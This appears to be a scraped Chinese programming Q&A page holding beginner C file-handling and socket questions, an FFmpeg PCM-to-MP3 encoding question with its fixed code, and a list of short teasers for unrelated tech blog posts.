我使用的是VS 2019,在读取txt文件中的字符串时,什么都读取不到,请问这是为什么? 以下是代码片段 ``` FILE* fp; fp = fopen("C chart.txt", "w+"); /*将指针设置至文件开头*/ fseek(fp, 0L, SEEK_SET); char s1[100],s2[100]; /*从文件中读取数据*/ fscanf_s(fp, "%s", s1,6 ); fscanf_s(fp, "%s", s2,6); ``` txt文件中就两行内容: qweq oimw 但是运行以后,我使用debug查看s1和s2的内容,发现两个是空的。 求求大家了
c语言中关于fread函数与feof函数
``` int Load_1()//把文件中的数据读取到链表中 { FILE* pf = fopen("d:\\Stu.lp", "rb"); Stu* pTemp; while (!feof(pf)) { pTemp = (Stu*)malloc(sizeof(Stu)); fread(pTemp, sizeof(Stu),1, pf); pTemp->pNext = pHead; pHead = pTemp; } return 0; } void Save_1()//把程序中用的数据保存到文件中 { FILE* pf = fopen("d:\\Stu.lp", "wb"); struct Stu* pTemp = pHead; while (pTemp) { fwrite(pTemp, sizeof(Stu),1, pf); pTemp = pTemp->pNext; } } ``` 这是定义的两个结构体: ``` typedef struct Stu_Data { char S_Name[20]; size_t S_Num; float S_Score; }Data; struct Stu { Data D; struct Stu* pNext; }; ``` 新手代码写的不好, 这个 load()函数总是多循环一次打出乱码 ![图片说明](https://img-ask.csdn.net/upload/201607/15/1468585049_52618.png)
c语言 指针数组作为函数参数问题
``` #include<stdio.h> #include<stdlib.h> void init_rec(day_record *arr[],FILE *file) { char temp[80]; int index=0; while((fscanf(file,"%s",temp))!=EOF) { arr[index]=NULL; arr[index]=(day_record * )malloc(sizeof(day_record)); if(arr[index]==NULL) { printf("结构地址分配错误\n"); exit(1); } replace(',',' ',temp); inputrc(arr[index],temp); index++; } } ``` 在gcc中编译 总是提示错误发生在void init_rec(day_record *arr[],FILE *file)这一行 **错误内容是 pay.c:6: 错误:expected ‘)’ before ‘*’ token ** 结构体是这么写的 ``` //每日记录临时存储结构 typedef struct day_record { int worker_nu; char date[DATE_LEN]; char * loca; int work_nu; char * worker[WORK_LEN]; } day_record; ``` 调用是这样的 ``` #include<stdio.h> #include<stdlib.h> #include"pay.h" #include"pay.c" int main() { FILE * fp; day_record * record[31]; fp = fopen("pay","r"); if(fp==NULL) { printf("open failed\n"); exit(1); } init_rec(record,fp); putdr(record[0]); fclose(fp); return 0; } ``` 想不明白是怎么回事 求指教 谢谢大家
FFmpeg - 为什么从pcm提取音频,编码为mp3以后,时长变多了,声音也颤抖
``` #include <memory> extern "C" { #include "libavcodec/avcodec.h" #include "libavformat/avformat.h" #include "libavutil/imgutils.h" #include "libswresample/swresample.h" #include "libavutil/opt.h" #include "libavutil/avassert.h" #include "libavutil/audio_fifo.h" } // 函数退出后执行 #define DEFER(T, P, Fn) std::shared_ptr<T> P##deletor(P, [&](T *) {Fn;}) // 打印异常信息,并退出main函数 #define FATAL(M, ...) printf(M, ##__VA_ARGS__); return -1 // 自定义变量 const char *src_media = "E:/2.pcm"; const char *dst_media = "E:/3.mp3"; // PCM的原始参数 #define PCM_IN_FORMAT AV_SAMPLE_FMT_S16 #define PCM_IN_CHANNEL_LAYOUT AV_CH_LAYOUT_MONO #define PCM_IN_NB_SAMPLES 1024 #define PCM_IN_SAMPLE_RATE 44100 int main(int argc, char **argv) { // 申请一个输出的上下文 AVFormatContext *fmt_ctx = nullptr; avformat_alloc_output_context2(&fmt_ctx, nullptr, nullptr, dst_media); if (fmt_ctx == nullptr) { FATAL("alloc output format context failed."); } DEFER(AVFormatContext, fmt_ctx, avio_closep(&fmt_ctx->pb); avformat_close_input(&fmt_ctx)); // 查询编码器 AVCodec *audio_enc; if ((audio_enc = avcodec_find_encoder(fmt_ctx->oformat->audio_codec)) == nullptr) { FATAL("find audio encoder failed."); } AVStream *audio_stream = avformat_new_stream(fmt_ctx, audio_enc); audio_stream->id = fmt_ctx->nb_streams - 1; // 为编码器申请上下文 AVCodecContext *audio_enc_ctx = nullptr; if ((audio_enc_ctx = avcodec_alloc_context3(audio_enc)) == nullptr) { FATAL("allocate audio enc context failed."); } DEFER(AVCodecContext, audio_enc_ctx, avcodec_free_context(&audio_enc_ctx)); // 为编码器配置编码参数 audio_enc_ctx->sample_fmt = audio_enc->sample_fmts ? audio_enc->sample_fmts[0] : AV_SAMPLE_FMT_FLTP; audio_enc_ctx->bit_rate = 128000; audio_enc_ctx->sample_rate = 44100; audio_enc_ctx->channel_layout = AV_CH_LAYOUT_STEREO; audio_enc_ctx->channels = av_get_channel_layout_nb_channels(audio_enc_ctx->channel_layout); if (fmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) { audio_enc_ctx->flags |= AV_CODEC_FLAG_GLOBAL_HEADER; } audio_stream->time_base = AVRational{1, audio_enc_ctx->sample_rate}; // 打开编码器 if (avcodec_open2(audio_enc_ctx, audio_enc, nullptr) < 0) { FATAL("codec open failed."); } if (avcodec_parameters_from_context(audio_stream->codecpar, audio_enc_ctx) < 0) { FATAL("copy params failed."); } if (avio_open(&fmt_ctx->pb, dst_media, AVIO_FLAG_WRITE) < 0) { FATAL("open dst file failed."); } // 写入头信息 if (avformat_write_header(fmt_ctx, nullptr) < 0) { FATAL("write header failed."); } // 申请一个音频frame AVFrame *audio_frame = nullptr; if ((audio_frame = av_frame_alloc()) == nullptr) { FATAL("allocate frame failed."); } DEFER(AVFrame, audio_frame, av_frame_free(&audio_frame)); audio_frame->format = audio_enc_ctx->sample_fmt; audio_frame->channel_layout = audio_enc_ctx->channel_layout; audio_frame->nb_samples = audio_enc_ctx->frame_size; audio_frame->sample_rate = audio_enc_ctx->sample_rate; // 给frame的data和size分配空间 if (av_frame_get_buffer(audio_frame, 0) < 0) { FATAL("allocate frame data failed."); } // 创建swr的上下文 SwrContext *swr_cxt = swr_alloc(); DEFER(SwrContext, swr_cxt, swr_free(&swr_cxt)); // 获取输入与输出的采样格式 enum AVSampleFormat in_sample_fmt = PCM_IN_FORMAT; enum AVSampleFormat out_sample_fmt = audio_enc_ctx->sample_fmt; // 获取输入与输出的采样率 int in_sample_rate = PCM_IN_SAMPLE_RATE; int out_sample_rate = audio_enc_ctx->sample_rate; // 获取输入与输出的声道格式 uint64_t in_ch_layout = PCM_IN_CHANNEL_LAYOUT; uint64_t out_ch_layout = audio_enc_ctx->channel_layout; // 设置swr的配置项 swr_alloc_set_opts(swr_cxt, out_ch_layout, out_sample_fmt, out_sample_rate, in_ch_layout, in_sample_fmt, in_sample_rate, 0, nullptr); // 初始化swr swr_init(swr_cxt); // 申请一个packet,并初始化 AVPacket pkt; av_init_packet(&pkt); pkt.data = nullptr; pkt.size = 0; FILE *input = nullptr; if ((input = fopen(src_media, "rb")) == nullptr) { FATAL("no readable file."); } DEFER(FILE, input, fclose(input)); // 从文件中读取出来的数据,临时存储在该帧中 AVFrame *temp_frame = av_frame_alloc(); DEFER(AVFrame, temp_frame, av_frame_free(&temp_frame)); temp_frame->format = PCM_IN_FORMAT; temp_frame->nb_samples = PCM_IN_NB_SAMPLES; temp_frame->channel_layout = PCM_IN_CHANNEL_LAYOUT; temp_frame->channels = av_get_channel_layout_nb_channels(PCM_IN_CHANNEL_LAYOUT); // 给frame的data和size分配空间 if (av_frame_get_buffer(temp_frame, 0) < 0) { FATAL("allocate frame data failed."); } // 循环读取frame数据 int frame_count = 0; while (true) { if (av_frame_make_writable(audio_frame) < 0) { FATAL("frame is not writable"); } if (fread(temp_frame->data[0], 1, (size_t) temp_frame->linesize[0], input) < 0) { FATAL("read input file failed."); } else if (feof(input)) { break; } swr_convert(swr_cxt, audio_frame->data, audio_frame->nb_samples, (const uint8_t **) temp_frame->data, temp_frame->nb_samples); audio_frame->pts = av_rescale_q(frame_count, (AVRational){1, audio_enc_ctx->sample_rate}, audio_enc_ctx->time_base); frame_count += audio_frame->nb_samples; // 发送一个frame if (avcodec_send_frame(audio_enc_ctx, audio_frame) < 0) { FATAL("send frame exception."); } // 接受编码完的内容 while (true) { auto packet_ret = avcodec_receive_packet(audio_enc_ctx, &pkt); // 判断是否完全接受了packet if (packet_ret == AVERROR(EAGAIN) || packet_ret == AVERROR_EOF) { break; } // 检查是否接受异常 if (packet_ret < 0) { FATAL("receive packet exception."); } av_packet_rescale_ts(&pkt, audio_enc_ctx->time_base, audio_stream->time_base); pkt.stream_index = audio_stream->index; av_interleaved_write_frame(fmt_ctx, &pkt); av_packet_unref(&pkt); } } // 发送一个空的frame,告知编码器,已经编码完成,清空缓冲区 if (avcodec_send_frame(audio_enc_ctx, nullptr) < 0) { FATAL("send frame exception."); } // 接受编码完的内容 while (true) { auto packet_ret = avcodec_receive_packet(audio_enc_ctx, &pkt); // 判断是否完全接受了packet if (packet_ret == AVERROR(EAGAIN) || packet_ret == AVERROR_EOF) { break; } // 检查是否接受异常 if (packet_ret < 0) { FATAL("receive packet exception."); } av_packet_rescale_ts(&pkt, audio_enc_ctx->time_base, audio_stream->time_base); pkt.stream_index = audio_stream->index; av_interleaved_write_frame(fmt_ctx, &pkt); av_packet_unref(&pkt); } av_write_trailer(fmt_ctx); return 0; } ``` ### 问题已经解决,请看下面的代码 ```cpp #include <memory> extern "C" { #include "libavcodec/avcodec.h" #include "libavformat/avformat.h" #include "libswresample/swresample.h" } // 申请智能指针变量 #define NEW_PTR(T, P, V, Fn) T *P = V; std::shared_ptr<T> P##P(P, [&P](T *){if(P != nullptr){Fn;}}) // 打印异常信息,并退出main函数 #define FATAL(M, ...) printf(M, ##__VA_ARGS__); return -1 // 自定义变量 const char *src_media = "D:/2.pcm"; const char *dst_media = "D:/2.mp3"; // PCM的原始参数 #define PCM_IN_FORMAT AV_SAMPLE_FMT_S16 #define PCM_IN_CHANNELS 1 #define PCM_IN_SAMPLE_RATE 44100 int main(int argc, char **argv) { // 申请一个输出的上下文 NEW_PTR(AVFormatContext, fmt_ctx, nullptr, avio_closep(&fmt_ctx->pb); avformat_close_input(&fmt_ctx)); avformat_alloc_output_context2(&fmt_ctx, nullptr, nullptr, dst_media); if (fmt_ctx == nullptr) { FATAL("alloc output format context failed."); } // 查询编码器 AVCodec *audio_enc; if ((audio_enc = avcodec_find_encoder(fmt_ctx->oformat->audio_codec)) == nullptr) { FATAL("find audio encoder failed."); } // 为编码器申请上下文 NEW_PTR(AVCodecContext, audio_enc_ctx, nullptr, avcodec_free_context(&audio_enc_ctx)); if ((audio_enc_ctx = avcodec_alloc_context3(audio_enc)) == nullptr) { FATAL("allocate audio enc context failed."); } // 为编码器配置编码参数 audio_enc_ctx->sample_fmt = audio_enc->sample_fmts ? audio_enc->sample_fmts[0] : AV_SAMPLE_FMT_FLTP; audio_enc_ctx->bit_rate = 64000; audio_enc_ctx->sample_rate = 44100; audio_enc_ctx->channel_layout = AV_CH_LAYOUT_STEREO; audio_enc_ctx->channels = av_get_channel_layout_nb_channels(audio_enc_ctx->channel_layout); if (fmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) { audio_enc_ctx->flags |= AV_CODEC_FLAG_GLOBAL_HEADER; } // 打开编码器 if (avcodec_open2(audio_enc_ctx, audio_enc, nullptr) < 0) { FATAL("codec open failed."); } AVStream *audio_stream = avformat_new_stream(fmt_ctx, audio_enc); audio_stream->id = fmt_ctx->nb_streams - 1; audio_stream->time_base = AVRational{1, audio_enc_ctx->sample_rate}; if (avcodec_parameters_from_context(audio_stream->codecpar, audio_enc_ctx) < 0) { FATAL("copy params failed."); } if (avio_open(&fmt_ctx->pb, dst_media, AVIO_FLAG_WRITE) < 0) { FATAL("open dst file failed."); } // 写入头信息 if (avformat_write_header(fmt_ctx, nullptr) < 0) { FATAL("write header failed."); } // 申请一个音频frame NEW_PTR(AVFrame, audio_frame, nullptr, av_frame_free(&audio_frame)); if ((audio_frame = av_frame_alloc()) == nullptr) { FATAL("allocate frame failed."); } audio_frame->format = audio_enc_ctx->sample_fmt; audio_frame->channel_layout = audio_enc_ctx->channel_layout; audio_frame->nb_samples = audio_enc_ctx->frame_size; audio_frame->sample_rate = audio_enc_ctx->sample_rate; if (av_frame_get_buffer(audio_frame, 0) < 0) { FATAL("audio frame get buffer failed."); } // 创建一个frame,用来存储从pcm读取的数据 NEW_PTR(AVFrame, buf_frame, nullptr, av_frame_free(&buf_frame)); if ((buf_frame = av_frame_alloc()) == nullptr) { FATAL("allocate buf frame failed."); } buf_frame->format = PCM_IN_FORMAT; buf_frame->nb_samples = audio_frame->nb_samples; buf_frame->channel_layout = (uint64_t) av_get_default_channel_layout(PCM_IN_CHANNELS); buf_frame->sample_rate = PCM_IN_SAMPLE_RATE; if (av_frame_get_buffer(buf_frame, 0) < 0) { FATAL("create buf frame buffer failed."); } // 从pcm文件中读取适应音频帧的尺寸数据 auto readSize = av_samples_get_buffer_size(nullptr, buf_frame->channels, buf_frame->nb_samples, (AVSampleFormat) buf_frame->format, 1); NEW_PTR(uint8_t , buf, (uint8_t*)av_malloc((size_t)readSize), av_freep(&buf)); // 创建swr的上下文 NEW_PTR(SwrContext, swr_ctx, swr_alloc(), swr_free(&swr_ctx)); swr_alloc_set_opts(swr_ctx, audio_frame->channel_layout, (AVSampleFormat)audio_frame->format, audio_frame->sample_rate, av_get_default_channel_layout(PCM_IN_CHANNELS), PCM_IN_FORMAT, PCM_IN_SAMPLE_RATE, 0, nullptr); swr_init(swr_ctx); // 申请一个packet,并初始化 AVPacket pkt; av_init_packet(&pkt); pkt.data = nullptr; pkt.size = 0; NEW_PTR(FILE, input, nullptr, fclose(input)); if ((input = fopen(src_media, "rb")) == nullptr) { FATAL("no readable file."); } // 循环读取frame数据 int audio_pts = 0; while (true) { // 用来编码的帧 AVFrame * encode_frame = nullptr; if (fread(buf, 1, (size_t) readSize, input) < 0) { FATAL("read input file failed."); } else if (!feof(input)) { // 文件没有到结尾,则获取编码帧 av_samples_fill_arrays(buf_frame->data, buf_frame->linesize, (const uint8_t*)buf, buf_frame->channels, buf_frame->nb_samples, (AVSampleFormat)buf_frame->format, 1); swr_convert(swr_ctx, audio_frame->data, audio_frame->nb_samples, (const uint8_t**)buf_frame->data, buf_frame->nb_samples); audio_frame->pts = audio_pts; audio_pts += av_rescale_q(audio_frame->nb_samples, AVRational{1, audio_enc_ctx->frame_size}, audio_enc_ctx->time_base); encode_frame = audio_frame; } else { // 文件结束了,则发送一个空指针的frame,用来清空缓冲区 encode_frame = nullptr; } // 发送一个frame if (avcodec_send_frame(audio_enc_ctx, encode_frame) < 0) { FATAL("send frame exception."); } // 接受编码完的内容 while (true) { auto packet_ret = avcodec_receive_packet(audio_enc_ctx, &pkt); // 判断是否完全接受了packet if (packet_ret == AVERROR(EAGAIN) || packet_ret == AVERROR_EOF) { break; } // 检查是否接受异常 if (packet_ret < 0) { FATAL("receive packet exception."); } av_packet_rescale_ts(&pkt, audio_enc_ctx->time_base, audio_stream->time_base); pkt.stream_index = audio_stream->index; av_interleaved_write_frame(fmt_ctx, &pkt); av_packet_unref(&pkt); } // 编码帧为空,则表示已经处理完所有的编码,退出该循环 if (encode_frame == nullptr) break; } av_write_trailer(fmt_ctx); return 0; } ```
C语言写使用fprintf和fscanf的问题
我这个程序是用C语言写的,其中构造了两个函数来将我输入的数据保存到文本文件当中,可是调用savefile函数保存数据到文件中,再调用readfile函数时所输入的数据都没了,说明一下,我做的这个是通讯录管理系统,这两个函数的代码如下,求大神帮我解答,在此本人先谢过了 void readfile() { char *p="Linkman.txt"; FILE *fp; int i=0; if ((fp=fopen("Linkman.txt","r"))==NULL) { printf("Open file %s error! Strike any key to exit!",p); system("pause"); exit(0); } while(fscanf(fp,"%s %s %d %s %s %s %s %d/%d/%d %s",man_table[i].name,man_table[i].sex,&man_table[i].telnumber,man_table[i].mobilenumber,man_table[i].qqnumber,man_table[i].mailbox,man_table[i].address,&man_table[i].birthday.year,&man_table[i].birthday.month,&man_table[i].birthday.day,man_table[i].level)==9) { i++; i=i; } fclose(fp); n=i; printf("录入完毕!\n"); } void savefile() { int i; FILE *fp; fp=fopen("Linkman.txt","w"); /*写入*/ for(i=0;i<n;i++) { fprintf(fp,"%s %s %d %s %s %s %s %d/%d/%d %c",man_table[i].name,man_table[i].sex,man_table[i].telnumber,man_table[i].mobilenumber,man_table[i].qqnumber,man_table[i].mailbox,man_table[i].address,man_table[i].birthday.year,man_table[i].birthday.month,man_table[i].birthday.day,man_table[i].level); } fclose(fp); }
C语言有关strstr()的问题
代码如下,在VC++6.0中编译连接都没问题,就是在遍历txt文件用strstr函数时会出现问题,直接停止运行,求大神指点!!!万分感谢!!!! ``` //#include <windows.h> #include <winsock2.h> #include <stdio.h> #include <string.h> #define SERVER_PORT 5432 #define MAX_PENDING 5 #define MAX_LINE 256 #define true 1 #define false 0 #pragma comment(lib,"ws2_32.lib") int main() { WSADATA WSAData; int WSAreturn; /* server address */ struct sockaddr_in sin; struct sockaddr_in remote; char buf[MAX_LINE]; int len; int s, new_s; char line[MAX_LINE]; //读取到的每一行 FILE *fp; /*文件指针*/ //char ans[MAX_LINE]; //bool flag; char * b; //int l; WSAreturn = WSAStartup(0x101,&WSAData); if(WSAreturn) { fprintf(stderr, "simplex-talk: WSA error.\n"); //格式化输出至出错文件stderr exit(1); } /* build address data structure */ memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = INADDR_ANY; sin.sin_port = htons(SERVER_PORT); //服务器端在listen之前会调用bind(),而客户端就不用调用,在connect()时由系统随机生成一个。 /* setup passive open */ if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) {//socket函数创建一个socket描述符(socket descriptor),它唯一标识一个socket。 perror("simplex-talk: socket failed."); // s 为socket描述字 exit(1); } if ((bind(s, (struct sockaddr *)&sin, sizeof(sin))) < 0) {//bind函数把一个地址族中的特定地址赋给socket perror("simplex-talk: bind failed."); //sin 一个const struct sockaddr *指针,指向要绑定给s的协议地址 exit(1); //sizeof(sin) 地址长度 } printf("server is ready in listening ...\n"); //服务器监听socket,客户端这时调用connect()发出连接请求,服务器端就会接收到这个请求。 listen(s, MAX_PENDING); /* wait for connection, then receive and print text */ while(1) { len = sizeof(struct sockaddr_in); if ((new_s = accept(s, (struct sockaddr *)&remote, &len)) < 0){ //服务器用accept接收客户端的连接请求 perror("simplex-talk: accept failed."); //服务器与客户已经建立连接, //可以调用网络I/O进行读写操作了,即实现了网咯中不同进程之间的通信. exit(1); } //printf("received a connection from %s : \n", inet_ntoa(remote.sin_addr)); while (len = recv(new_s, buf, sizeof(buf), 0)) { //int recv( SOCKET s, char FAR *buf, int len, int flags); //printf("received %2d chars:", len); //第一个参数指定 接收端套接字描述符 即s; printf("客户端: "); fputs(buf, stdout); //第二个参数指明一个缓冲区用来存放recv函数接收到的数据; //fputs将该字符串写入文件stdout,但并不写入结尾的'\0'。 //第三个参数指明buf的参数 第四个参数一般置0。 //在datafile中遍历得出答案,并放入缓冲区。 //strcpy(buf,reply(buf)); fp = fopen("C:\\Users\\user\\Desktop\\chatfile.txt","r") if(fp == NULL) { perror("打开失败!"); exit(1); } int l=strlen(buf); // bool flag; //char * b; while(fgets(line,sizeof(line),fp)) { if(!strstr(line,buf)){ //flag = false; //printf("测试"); } else{ // flag = true; if(line[l]==' '||line[l]==' '){ b=strstr(line," "); break; } else{ //flag = false; } } }//while fclose(fp); /*if(flag==false){ char reply[]={"服务器:我听不懂您的意思。"}; puts(reply); int lens; lens = strlen(reply); send(new_s,reply,lens,0); } else{*/ printf("服务器:"); puts(b); printf("\n"); char * ans=b; int lens; lens = strlen(ans); send(new_s,ans,lens,0); } } closesocket(new_s); //关闭连接 //} WSACleanup(); return 0; } ```
c +帮忙看一下定义的这个函数哪里不对
void input(const char filename[]) {FILE *fp; fp=fopen(filename,"r"); if(fp=NULL) {printf("file not found!"); pressanykey(); return; } int i=0; while(!feof(fp)) {fscanf(fp,"%s%*c%s%*c%s%*c%s%*c%d% %d %f %d%*c",books[i].booknum,books[i].name,books[i].publish,books[i].author,&books[i].date.y,&books[i].date.m,&books[i].price,&books[i].n); i=i+1; } fclose(fp); }
终于明白阿里百度这样的大公司,为什么面试经常拿ThreadLocal考验求职者了
点击上面↑「爱开发」关注我们每晚10点,捕获技术思考和创业资源洞察什么是ThreadLocalThreadLocal是一个本地线程副本变量工具类,各个线程都拥有一份线程私有的数
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
《奇巧淫技》系列-python!!每天早上八点自动发送天气预报邮件到QQ邮箱
此博客仅为我业余记录文章所用,发布到此,仅供网友阅读参考,如有侵权,请通知我,我会删掉。 补充 有不少读者留言说本文章没有用,因为天气预报直接打开手机就可以收到了,为何要多此一举发送到邮箱呢!!!那我在这里只能说:因为你没用,所以你没用!!! 这里主要介绍的是思路,不是天气预报!不是天气预报!!不是天气预报!!!天气预报只是用于举例。请各位不要再刚了!!! 下面是我会用到的两个场景: 每日下
面试官问我:什么是消息队列?什么场景需要他?用了会出现什么问题?
你知道的越多,你不知道的越多 点赞再看,养成习惯 GitHub上已经开源 https://github.com/JavaFamily 有一线大厂面试点脑图、个人联系方式,欢迎Star和完善 前言 消息队列在互联网技术存储方面使用如此广泛,几乎所有的后端技术面试官都要在消息队列的使用和原理方面对小伙伴们进行360°的刁难。 作为一个在互联网公司面一次拿一次Offer的面霸,打败了无数
8年经验面试官详解 Java 面试秘诀
    作者 | 胡书敏 责编 | 刘静 出品 | CSDN(ID:CSDNnews) 本人目前在一家知名外企担任架构师,而且最近八年来,在多家外企和互联网公司担任Java技术面试官,前后累计面试了有两三百位候选人。在本文里,就将结合本人的面试经验,针对Java初学者、Java初级开发和Java开发,给出若干准备简历和准备面试的建议。   Java程序员准备和投递简历的实
究竟你适不适合买Mac?
我清晰的记得,刚买的macbook pro回到家,开机后第一件事情,就是上了淘宝网,花了500元钱,找了一个上门维修电脑的师傅,上门给我装了一个windows系统。。。。。。 表砍我。。。 当时买mac的初衷,只是想要个固态硬盘的笔记本,用来运行一些复杂的扑克软件。而看了当时所有的SSD笔记本后,最终决定,还是买个好(xiong)看(da)的。 已经有好几个朋友问我mba怎么样了,所以今天尽量客观
程序员一般通过什么途径接私活?
二哥,你好,我想知道一般程序猿都如何接私活,我也想接,能告诉我一些方法吗? 上面是一个读者“烦不烦”问我的一个问题。其实不止是“烦不烦”,还有很多读者问过我类似这样的问题。 我接的私活不算多,挣到的钱也没有多少,加起来不到 20W。说实话,这个数目说出来我是有点心虚的,毕竟太少了,大家轻喷。但我想,恰好配得上“一般程序员”这个称号啊。毕竟苍蝇再小也是肉,我也算是有经验的人了。 唾弃接私活、做外
大学四年自学走来,这些珍藏的「实用工具/学习网站」我全贡献出来了
知乎高赞:文中列举了互联网一线大厂程序员都在用的工具集合,涉及面非常广,小白和老手都可以进来看看,或许有新收获。
《阿里巴巴开发手册》读书笔记-编程规约
Java编程规约命名风格 命名风格 类名使用UpperCamelCase风格 方法名,参数名,成员变量,局部变量都统一使用lowerCamelcase风格 常量命名全部大写,单词间用下划线隔开, 力求语义表达完整清楚,不要嫌名字长 ...
Python爬虫爬取淘宝,京东商品信息
小编是一个理科生,不善长说一些废话。简单介绍下原理然后直接上代码。 使用的工具(Python+pycharm2019.3+selenium+xpath+chromedriver)其中要使用pycharm也可以私聊我selenium是一个框架可以通过pip下载 pip install selenium -i https://pypi.tuna.tsinghua.edu.cn/simple/ 
阿里程序员写了一个新手都写不出的低级bug,被骂惨了。
你知道的越多,你不知道的越多 点赞再看,养成习惯 本文 GitHub https://github.com/JavaFamily 已收录,有一线大厂面试点思维导图,也整理了很多我的文档,欢迎Star和完善,大家面试可以参照考点复习,希望我们一起有点东西。 前前言 为啥今天有个前前言呢? 因为你们的丙丙啊,昨天有牌面了哟,直接被微信官方推荐,知乎推荐,也就仅仅是还行吧(心里乐开花)
Java工作4年来应聘要16K最后没要,细节如下。。。
前奏: 今天2B哥和大家分享一位前几天面试的一位应聘者,工作4年26岁,统招本科。 以下就是他的简历和面试情况。 基本情况: 专业技能: 1、&nbsp;熟悉Sping了解SpringMVC、SpringBoot、Mybatis等框架、了解SpringCloud微服务 2、&nbsp;熟悉常用项目管理工具:SVN、GIT、MAVEN、Jenkins 3、&nbsp;熟悉Nginx、tomca
Python爬虫精简步骤1 获取数据
爬虫的工作分为四步: 1.获取数据。爬虫程序会根据我们提供的网址,向服务器发起请求,然后返回数据。 2.解析数据。爬虫程序会把服务器返回的数据解析成我们能读懂的格式。 3.提取数据。爬虫程序再从中提取出我们需要的数据。 4.储存数据。爬虫程序把这些有用的数据保存起来,便于你日后的使用和分析。 这一篇的内容就是:获取数据。 首先,我们将会利用一个强大的库——requests来获取数据。 在电脑上安装
Python绘图,圣诞树,花,爱心 | Turtle篇
1.画圣诞树 import turtle screen = turtle.Screen() screen.setup(800,600) circle = turtle.Turtle() circle.shape('circle') circle.color('red') circle.speed('fastest') circle.up() square = turtle.Turtle()
作为一个程序员,CPU的这些硬核知识你必须会!
CPU对每个程序员来说,是个既熟悉又陌生的东西? 如果你只知道CPU是中央处理器的话,那可能对你并没有什么用,那么作为程序员的我们,必须要搞懂的就是CPU这家伙是如何运行的,尤其要搞懂它里面的寄存器是怎么一回事,因为这将让你从底层明白程序的运行机制。 随我一起,来好好认识下CPU这货吧 把CPU掰开来看 对于CPU来说,我们首先就要搞明白它是怎么回事,也就是它的内部构造,当然,CPU那么牛的一个东
破14亿,Python分析我国存在哪些人口危机!
2020年1月17日,国家统计局发布了2019年国民经济报告,报告中指出我国人口突破14亿。 猪哥的朋友圈被14亿人口刷屏,但是很多人并没有看到我国复杂的人口问题:老龄化、男女比例失衡、生育率下降、人口红利下降等。 今天我们就来分析一下我们国家的人口数据吧! 更多有趣分析教程,扫描下方二维码关注vx公号「裸睡的猪」 即可查看! 一、背景 1.人口突破14亿 2020年1月17日,国家统计局发布
听说想当黑客的都玩过这个Monyer游戏(1~14攻略)
第零关 进入传送门开始第0关(游戏链接) 请点击链接进入第1关: 连接在左边→ ←连接在右边 看不到啊。。。。(只能看到一堆大佬做完的留名,也能看到菜鸡的我,在后面~~) 直接fn+f12吧 &lt;span&gt;连接在左边→&lt;/span&gt; &lt;a href="first.php"&gt;&lt;/a&gt; &lt;span&gt;←连接在右边&lt;/span&gt; o
在家远程办公效率低?那你一定要收好这个「在家办公」神器!
相信大家都已经收到国务院延长春节假期的消息,接下来,在家远程办公可能将会持续一段时间。 但是问题来了。远程办公不是人在电脑前就当坐班了,相反,对于沟通效率,文件协作,以及信息安全都有着极高的要求。有着非常多的挑战,比如: 1在异地互相不见面的会议上,如何提高沟通效率? 2文件之间的来往反馈如何做到及时性?如何保证信息安全? 3如何规划安排每天工作,以及如何进行成果验收? ......
作为一个程序员,内存和磁盘的这些事情,你不得不知道啊!!!
截止目前,我已经分享了如下几篇文章: 一个程序在计算机中是如何运行的?超级干货!!! 作为一个程序员,CPU的这些硬核知识你必须会! 作为一个程序员,内存的这些硬核知识你必须懂! 这些知识可以说是我们之前都不太重视的基础知识,可能大家在上大学的时候都学习过了,但是嘞,当时由于老师讲解的没那么有趣,又加上这些知识本身就比较枯燥,所以嘞,大家当初几乎等于没学。 再说啦,学习这些,也看不出来有什么用啊!
别低估自己的直觉,也别高估自己的智商
所有群全部吵翻天,朋友圈全部沦陷,公众号疯狂转发。这两周没怎么发原创,只发新闻,可能有人注意到了。我不是懒,是文章写了却没发,因为大家的关注力始终在这次的疫情上面,发了也没人看。当然,我...
这个世界上人真的分三六九等,你信吗?
偶然间,在知乎上看到一个问题 一时间,勾起了我深深的回忆。 以前在厂里打过两次工,做过家教,干过辅导班,做过中介。零下几度的晚上,贴过广告,满脸、满手地长冻疮。   再回首那段岁月,虽然苦,但让我学会了坚持和忍耐。让我明白了,在这个世界上,无论环境多么的恶劣,只要心存希望,星星之火,亦可燎原。   下文是原回答,希望能对你能有所启发。   如果我说,这个世界上人真的分三六九等,
为什么听过很多道理,依然过不好这一生?
记录学习笔记是一个重要的习惯,不希望学习过的东西成为过眼云烟。做总结的同时也是一次复盘思考的过程。 本文是根据阅读得到 App上《万维钢·精英日课》部分文章后所做的一点笔记和思考。学习是一个系统的过程,思维模型的建立需要相对完整的学习和思考过程。以下观点是在碎片化阅读后总结的一点心得总结。
B 站上有哪些很好的学习资源?
哇说起B站,在小九眼里就是宝藏般的存在,放年假宅在家时一天刷6、7个小时不在话下,更别提今年的跨年晚会,我简直是跪着看完的!! 最早大家聚在在B站是为了追番,再后来我在上面刷欧美新歌和漂亮小姐姐的舞蹈视频,最近两年我和周围的朋友们已经把B站当作学习教室了,而且学习成本还免费,真是个励志的好平台ヽ(.◕ฺˇд ˇ◕ฺ;)ノ 下面我们就来盘点一下B站上优质的学习资源: 综合类 Oeasy: 综合
如何优雅地打印一个Java对象?
你好呀,我是沉默王二,一个和黄家驹一样身高,和刘德华一样颜值的程序员。虽然已经写了十多年的 Java 代码,但仍然觉得自己是个菜鸟(请允许我惭愧一下)。 在一个月黑风高的夜晚,我思前想后,觉得再也不能这么蹉跎下去了。于是痛下决心,准备通过输出的方式倒逼输入,以此来修炼自己的内功,从而进阶成为一名真正意义上的大神。与此同时,希望这些文章能够帮助到更多的读者,让大家在学习的路上不再寂寞、空虚和冷。 ...
雷火神山直播超两亿,Web播放器事件监听是怎么实现的?
